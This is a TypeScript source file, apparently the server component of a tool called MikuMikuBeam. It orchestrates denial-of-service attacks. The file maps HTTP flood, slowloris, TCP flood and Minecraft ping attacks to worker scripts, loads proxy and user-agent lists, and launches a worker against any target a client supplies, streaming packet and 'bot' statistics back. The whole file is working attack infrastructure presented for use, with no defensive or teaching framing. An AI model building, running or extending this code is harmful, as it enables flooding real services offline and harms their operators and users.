MikuMikuBeam/server/index.ts

111 lines
2.9 KiB
TypeScript

import express from "express";
import { createServer } from "http";
import { dirname, join } from "path";
import { Server } from "socket.io";
import { fileURLToPath } from "url";
import { Worker } from "worker_threads";
import { loadProxies, loadUserAgents } from "./fileLoader";
import { AttackMethod } from "./lib";
import { filterProxies } from "./proxyUtils";
// Define the workers based on attack type
const attackWorkers: { [key in AttackMethod]: string } = {
http_flood: "./workers/httpFloodAttack.js",
http_slowloris: "./workers/httpSlowlorisAttack.js",
tcp_flood: "./workers/tcpFloodAttack.js",
minecraft_ping: "./workers/minecraftPingAttack.js",
};
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
const app = express();
const httpServer = createServer(app);
const io = new Server(httpServer, {
cors: {
origin: "http://localhost:5173",
methods: ["GET", "POST"],
},
});
const proxies = loadProxies();
const userAgents = loadUserAgents();
console.log("Proxies loaded:", proxies.length);
console.log("User agents loaded:", userAgents.length);
io.on("connection", (socket) => {
console.log("Client connected");
socket.emit("stats", {
pps: 0,
bots: proxies.length,
totalPackets: 0,
log: "🍤 Connected to the server.",
});
socket.on("startAttack", (params) => {
const { target, duration, packetDelay, attackMethod, packetSize } = params;
const filteredProxies = filterProxies(proxies, attackMethod);
const attackWorkerFile = attackWorkers[attackMethod];
if (!attackWorkerFile) {
socket.emit("stats", {
log: `❌ Unsupported attack type: ${attackMethod}`,
});
return;
}
socket.emit("stats", {
log: `🍒 Using ${filteredProxies.length} filtered proxies to perform attack.`,
bots: filteredProxies.length,
});
const worker = new Worker(join(__dirname, attackWorkerFile), {
workerData: {
target,
proxies: filteredProxies,
userAgents,
duration,
packetDelay,
packetSize,
},
});
worker.on("message", (message) => socket.emit("stats", message));
worker.on("error", (error) => {
console.error(`Worker error: ${error.message}`);
socket.emit("stats", { log: `❌ Worker error: ${error.message}` });
});
worker.on("exit", (code) => {
console.log(`Worker exited with code ${code}`);
socket.emit("attackEnd");
});
socket["worker"] = worker;
});
socket.on("stopAttack", () => {
const worker = socket["worker"];
if (worker) {
worker.terminate();
socket.emit("attackEnd");
}
});
socket.on("disconnect", () => {
const worker = socket["worker"];
if (worker) {
worker.terminate();
}
console.log("Client disconnected");
});
});
const PORT = 3000;
httpServer.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});